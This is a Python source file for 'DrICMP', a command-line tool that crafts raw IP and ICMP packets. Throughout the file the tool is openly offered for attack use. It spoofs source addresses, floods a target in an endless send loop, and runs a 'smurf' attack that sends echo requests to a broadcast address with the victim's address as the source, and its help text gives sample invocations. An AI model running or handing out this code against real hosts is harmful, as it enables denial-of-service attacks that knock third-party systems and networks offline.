DrICMP.py

# some imports
import socket, sys
from struct import *

def checksum(msg):
    s = 0
    for i in range(0, len(msg), 2):
        w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
        s = s + w

    s = (s>>16) + (s & 0xffff);
    s = ~s & 0xffff

    return s

def main():
    #Arguments and switches:
    argv = sys.argv

    #Help:
    if ('-h' in argv or '-?' in argv or '-help' in argv):
        print ("\n\n  ||  DrICMP by Ro0k.\n  ||  Ver 0.2 Released in 16.7.2013\n  ||  The cutest ICMP packets spoofing tool online!\n")
        print ("\tUsage: DrICMP.py [options] destinationIP")
        print ("\tSwitches available:")
        print("\t  -s IPaddr: Spoof the source ip address to be IPaddr")
        print("\t  -t type: ICMP type number (Defaults to 8, ping request)")
        print("\t  -c code: ICMP code number (Defaults to 0)")
        print("\t  -pl payload: The payload sent in the ICMP (Defaults to 0xf0ba7d0d)")
        print("\t  -f: Flood (Flooding the target instead of sending one packet)")
        print("\t  -smurf broadcastAddr: Smurf attack.")
        print("\n\t  Examples of use: DrICMP.py -t 3 -c 11 213.57.23.19")
        print("\t                   DrICMP.py -smurf 192.168.56.255 192.168.56.17")
        print("\n  For more information, Check Wikipedia's entry on ICMP, or simply google.")
        sys.exit()

    args = {'dest':argv[-1], 'src':None, 'type': 8, 'code': 0, 'payload': 0xf0ba7d0d, 'flood': False,
        'broadcast':'192.168.255.255', 'smurf': False}
    if ('-s' in argv): args['src'] = argv[argv.index('-s')+1]; #Changing the ICMP Type.
    if ('-t' in argv): args['type'] = int(argv[argv.index('-t')+1]); #Changing the ICMP Type.
    if ('-c' in argv): args['code'] = int(argv[argv.index('-c')+1]); #Changing the ICMP Code. (Defaults to Zero)
    if ('-pl' in argv): args['payload'] = int(argv[argv.index('-pl')+1], 16); #Changing the ICMP payload. (Defaults to Zero)
    if ('-f' in argv): args['flood'] = True #Sending Packets in infinite loop (ctrl-c to break) instead of just one.
    if ('-smurf' in argv): args['smurf'] = True; args['broadcast'] = argv[argv.index('-smurf')+1];  #Smurf attck on the Dest.

    #create a raw socket
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    except socket.error , msg:
        print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
        sys.exit()

    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    packet = ''
    #In case of smurfing:
    if (args['smurf']):
        source_ip = args['dest']
        dest_ip = args['broadcast']
        args['type'] = 8
        args['code'] = 0
        args['flood'] = True

    else:
        if (args['src'] != None): source_ip = args['src'] #address spoofing
        else: source_ip = socket.gethostbyname_ex(socket.gethostname())[2][0]
        dest_ip = args['dest']


    #making the header + combining them:
    ipHeader = ipHead(source_ip, dest_ip)
    icmpHeader = icmpHead(args)

    packet = ipHeader + icmpHeader

    s.sendto(packet, (dest_ip, 0))

    if (args['flood']):
        while(True):
            s.sendto(packet, (dest_ip, 0));

def ipHead(source_ip, dest_ip):
    # ip header fields
    ihl = 5
    version = 4
    tos = 0
    tot_len = 20 + 20  # python seems to correctly fill the total length
    id = 54321
    frag_off = 0
    ttl = 255
    protocol = socket.IPPROTO_ICMP
    check = 10  # python seems to correctly fill the checksum
    saddr = socket.inet_aton ( source_ip )
    daddr = socket.inet_aton ( dest_ip )

    ihl_version = (version << 4) + ihl

    # packing the header (! = Big endians for network)
    ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)

    return ip_header

def icmpHead(args):
    #icmp header fields
    type = args['type']
    code = args['code']
    check = 0
    payload = args['payload']

    # packing the header (! = Big endians for network)
    icmp_headerToCheck = pack('!BBHI', type, code, check, payload) #packing without checksum (check = 0)
    check = checksum(icmp_headerToCheck) #calculating checksum
    icmp_header = pack('!BBHI', type, code, check, payload) #packing with checksum


    return icmp_header

if __name__ == "__main__":
    main()